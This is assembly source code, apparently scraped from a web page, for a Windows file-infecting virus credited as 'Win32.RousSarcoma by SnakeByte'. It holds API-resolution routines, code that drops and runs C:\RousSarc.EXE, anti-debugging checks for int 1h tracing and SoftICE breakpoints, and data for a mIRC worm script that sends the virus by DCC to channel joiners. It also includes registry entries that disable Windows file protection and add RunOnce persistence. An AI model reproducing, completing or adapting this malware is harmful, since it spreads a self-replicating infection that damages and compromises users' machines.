; ---------------------------[ Search for API's ]----------------------------
; ***************************************************************************

; we search for LoadLibaryA and GetProcAddress


; in the kernel to get the other API's

LL db 'LoadLibraryA', 0h
GPA db 'GetProcAddress', 0h

GetApis: ; offset of Kernel32.dll PE-headers in eax

mov [ebp+KernelAddy], eax ; save


RousSarc.asm

mov [ebp+MZAddy], ebx

lea edx, [ebp+LL] ; Point to LoadLibaryA - API


mov ecx, 0Ch ; size of name
call SearchAPI1 ; search it
mov [ebp+XLoadLibraryA], eax
; save offset

xchg eax, ecx ; if we did not get it, we can't go on


jecxz ExecuteHost

lea edx, [ebp+GPA] ; Name of GetProcAddress - API


mov ecx, 0Eh ; size
call SearchAPI1
mov [ebp+XGetProcAddress], eax

xchg eax, ecx ; check if we got it


jecxz ExecuteHost

GetAPI2: ; locate all other apis now


lea eax, [ebp+KERNEL32]
push eax
call dword ptr [ebp+XLoadLibraryA]
mov [ebp+K32Handle], eax
test eax, eax
jz ExecuteHost

lea esi, [ebp+Kernel32Names2]


lea edi, [ebp+YCreateFileA]
mov ebx, [ebp+K32Handle]
push NumberOf2Kernel32APIS
pop ecx
call GetAPI3
jmp DropIT ; let's do something serious ;)

; ***************************************************************************
; --------[ Search the kernel export table for the 2 main API's ]------------
; ***************************************************************************

SearchAPI1:
and word ptr [ebp+counter], 0h

mov eax, [ebp+KernelAddy] ; get PE-Header offset

mov esi, [eax+78h] ; get Export Table Address


add esi, [ebp+MZAddy]
add esi, 1Ch

lodsd ; get address table


add eax, [ebp+MZAddy]
mov dword ptr [ebp+ATableVA], eax

lodsd ; get pointer table


add eax, [ebp+MZAddy]
mov dword ptr [ebp+NTableVA], eax

lodsd ; Ordinal Table


add eax, [ebp+MZAddy]
mov dword ptr [ebp+OTableVA], eax
RousSarc.asm

mov esi, [ebp+NTableVA] ; get Name Pointer Table

SearchNextApi1:
push esi
lodsd
add eax, [ebp+MZAddy]

mov esi, eax


mov edi, edx
push ecx

cld
rep cmpsb ; check for api name
pop ecx
jz FoundApi1

pop esi ; get next API-Name


add esi, 4h
inc word ptr [ebp+counter]
cmp word ptr [ebp+counter], 2000h
je NotFoundApi1 ; if we checked more than 2000 API's we stop
jmp SearchNextApi1 ; check next

FoundApi1:
pop esi
movzx eax, word ptr [ebp+counter]
shl eax, 1h ; get right entry

add eax, dword ptr [ebp+OTableVA]


xor esi, esi ; clear esi --> eax
xchg eax, esi
lodsw
shl eax, 2h
add eax, dword ptr [ebp+ATableVA]
mov esi, eax ; get RVA
lodsd ; eax = Adress RVA
add eax, [ebp+MZAddy]

ret ; API offset in eax

NotFoundApi1:
xor eax, eax ; we failed :(
ret

; ***************************************************************************
; ----------------------[ Let's drop the virus to a file ]-------------------
; ***************************************************************************
DropIT:

push 0
push 080h ; normal
push 1 ; new file
push 0
push 0
push 40000000h ; write access
lea eax, [ebp+HiddenFile]
push eax
call dword ptr [ebp+YCreateFileA]

xchg eax, ebx ; Handle in ebx


RousSarc.asm

mov esi, ebp


add esi, ImageBase + Gap1 ; uninitialised data once again ;)

push 0 ; overlapped
lea ecx, [ebp+Write] ; written bytes
push ecx
push VirusSize ; Lenght
push esi ; Start of Data
push ebx ; File Handle
Call dword ptr [ebp+YWriteFile]

push ebx
call dword ptr [ebp+YCloseHandle]

xor eax, eax ; let's execute the virus


lea esi, [ebp+ProcessInformation]
push esi
lea esi, [ebp+StartupInfo]
push esi
push eax ; lpCurrentDirectory
push eax ; lpEnvironment
push eax ; Create_New_Process_Group & Normal_Priority_Class
push eax ; bInheritHandles
push eax ; lpThreadAttributes
push eax ; lpProcessAttributes
lea esi, [ebp+HiddenFile]
push esi ; filename with commandline
push eax ; command line
call dword ptr [XCreateProcessA]

; ***************************************************************************
; -----------------------[ open original program ]---------------------------
; ***************************************************************************

ExecuteHost:

mov eax,12345678h ; get back to old Imagebase+EIP


org $-4
retEIP dd 0h

add eax,12345678h
org $-4
retBas dd 0h

jmp eax

OldEIP dd 0h
OldBase dd 0h

NewEIP dd 0h

; ***************************************************************************
; --------------[ use GetProcAddress to retrieve API's ]---------------------
; ***************************************************************************
; this procedure is used in both parts of the virus !
; esi point to the names
; edi to the place where we save the offsets
; ebx contains module handle
; ecx got the number of api's
GetAPI3:
RousSarc.asm

push ecx ; save number

push esi ; push Api-name


push ebx ; push Module-Handle
; call GetProcAddress
cmp ebp, 'VA-A' ; if we are in the exe-part, we can call
je API3b ; the api directly

pushad ; check for int 1h tracing


push eax ; int 1h tracing destroys the stack, so we will see
pop eax ; if it is destroyed
sub esp, 4d
pop ecx
cmp eax, ecx
jne EndApi3
popad

API3a: ; otherwise we need the one found in the kernel


call dword ptr [ebp+XGetProcAddress]
jmp API3c

API3b:
call GetProcAddress

API3c:
stosd ; save offset

pushad
cmp eax, 0 ; Lets do a check for Softice Breakpoints
je NoSICheck
cmp byte ptr [eax], 0CCh ; check for the breakpoint
je EndApi3 ; due to the pushad, we will ret somewhere strange ;)
NoSICheck:
popad

pop ecx
dec ecx
jz EndApi3

push ecx ; point to next name

SearchZero:
cmp byte ptr [esi], 0h
je GotZero
inc esi
jmp SearchZero

GotZero:
inc esi
pop ecx
jmp GetAPI3 ; get next api

EndApi3:
ret

; ###########################################################################
; ----------------------[ Third Part - The Data ]----------------------------
; ###########################################################################

; ***************************************************************************
; ---------------------[ Data of the second part ]---------------------------
RousSarc.asm

; ***************************************************************************

NumberOf2Kernel32APIS equ 4

Kernel32Names2:
db 'CreateFileA', 0
db 'CloseHandle', 0
db 'WriteFile',0
db 'CreateProcessA',0

HiddenFile db 'C:\RousSarc.EXE',0 ; Rous Sarkoma is a well known Retro Virus


KERNEL32 db 'kernel32.dll',0 ; kernel32.dll .. :)

; ***************************************************************************
; ---------------------------[ Some Data ]-----------------------------------
; ***************************************************************************
VirusEnd:

K32Handle dd (?) ; Hier speichern wir das Handle der Kernel32.dll

XLoadLibraryA dd (?) ; Hier die Offsets der ersten beiden API's


XGetProcAddress dd (?)

; API's we need for the second part


YCreateFileA dd (?)
YCloseHandle dd (?)
YWriteFile dd (?)
YCreateProcessA dd (?)

StartofVirusinFile dd 0h
Write dd 0h

; Daten für die Kernel-Suche


KernelAddy dd (?) ; PE-Header
MZAddy dd (?) ; MZ-Header
counter dw (?) ; Wie viele Namen haben wir getestet

ATableVA dd (?) ; Address Table VA


NTableVA dd (?) ; Name Pointer Table VA
OTableVA dd (?) ; Name Pointer Table VA

; ***************************************************************************
; --------------------[ Initialized First Part Data ]------------------------
; ***************************************************************************

.DATA
CopyRight db 'Win32.RousSarcoma by SnakeByte',0

_2kProt db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0


_2kProtValue db 'SfcDisable',0
RunOnceName db '\RousSarc.EXE',0
RunOnceKey db 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',0

filemask db '*.EXE', 0 ; get exe-files

; Data for mIRC Worming


MIRCscript db '[script]',13d,10d
db 'n0=on 1:join:#: { if ( $nick == $me ) halt', 13d,10d
db 'n1= else .timer 1 30 .dcc send $nick C:\RousSarc.EXE }', 13d,10d
db 'n2=on *:filesent:*.*: { if ( $nick != $me ) .dcc send $nick C:\RousSarc.EXE
}', 13d,10d
EndScript:
RousSarc.asm

mircINI db 'mirc.ini',0
MIRCrfiles db 'rfiles',0 ;what to patch
MOffset db 'n2',0
MIRCprot db 'RousSarc.ini',0

; Names of the API's we need


Kernel32Names:
NumberOfKernel32APIS equ 21d

db 'FindFirstFileA', 0
db 'FindNextFileA', 0
db 'FindClose', 0
db 'CreateFileA', 0
db 'CloseHandle', 0
db 'CreateFileMappingA', 0
db 'MapViewOfFile', 0
db 'UnmapViewOfFile', 0
db 'GetCommandLineA',0
db 'ReadFile',0
db 'CreateProcessA',0
db 'GetSystemDirectoryA',0
db 'CopyFileA',0
db 'GetCurrentProcessId',0
db 'RegisterServiceProcess',0
db 'GetCurrentDirectoryA',0
db 'SetCurrentDirectoryA',0
db 'GetWindowsDirectoryA',0
db 'GetFullPathNameA',0
db 'WritePrivateProfileStringA',0
db 'WriteFile',0

advname db 'advapi32',0

AdvapiNames:
NumberOfAdvapiAPIS equ 6

db 'RegOpenKeyExA',0
db 'RegQueryValueExA',0
db 'RegCloseKey',0
db 'RegSetValueExA',0
db 'RegCreateKeyExA',0
db 'RegEnumKeyA',0

StartupInfo:
db 64d
db 63d dup (0)

ProcessInformation:
hProcess dd 0h
hThread dd 0h
dwProcessId dd 0h
dwThreadId dd 0h

; ***************************************************************************
; -------------------[ Uninitialized First Part Data ]-----------------------
; ***************************************************************************
.DATA?
; API's we need for first Part
XFindFirstFileA dd ?
XFindNextFileA dd ?
XFindClose dd ?
XCreateFileA dd ?
RousSarc.asm

XCloseHandle dd ?
XCreateFileMappingA dd ?
XMapViewOfFile dd ?
XUnmapViewOfFile dd ?
XGetCommandLineA dd ?
XReadFile dd ?
XCreateProcessA dd ?
XGetSystemDirectoryA dd ?
XCopyFileA dd ?
XGetCurrentProcessId dd ?
XRegisterServiceProcess dd ?
XGetCurrentDirectoryA dd ?
XSetCurrentDirectoryA dd ?
XGetWindowsDirectoryA dd ?
XGetFullPathNameA dd ?
XWritePrivateProfileStringA dd ?
XWriteFile dd ?

; API's we need to edit the Registry


XRegOpenKeyExA dd ?
XRegQueryValueExA dd ?
XRegCloseKey dd ?
XRegSetValueExA dd ?
XRegCreateKeyExA dd ?
XRegEnumKeyA dd ?

ADVHandle dd ? ; Handle of ADVAPI32.dll

NewSize dd ? ; New Filesize


CmdLine dd ? ; Commandline

; Struktur for FindFirstFile / Next


FILETIME STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME ENDS

; data for FindFirstFile / Next API


WIN32_FIND_DATA label byte
WFD_dwFileAttributes dd ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
WFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db 260d dup (?)
WFD_szAlternateFileName db 13 dup (?)
WFD_szAlternateEnding db 03 dup (?)

FileHandle dd ? ; Filehandle
MapHandle dd ? ; Handle of the Map
MapAddress dd ? ; Offset of the Map
Handle dd ?

Dispostiton dd ? ; dispostition when creating a reg key


RegHandle dd ? ; handle of an opened registry key
RegData1 dd ? ; Bytes read

InfCounter db ? ; Counter
RousSarc.asm

FindHandle dd ? ; Handle for FindFirstFile API


FileBuffer db VirusSize dup (?)
; We temporarily save the name of a possible AV
; to check if it is one
NameBuffer db 255d dup (?)
CurrentPath db 255d dup (?)

; ***************************************************************************
; ------------------------[ That's all, go home ]----------------------------
; ***************************************************************************
end Virus

You might also like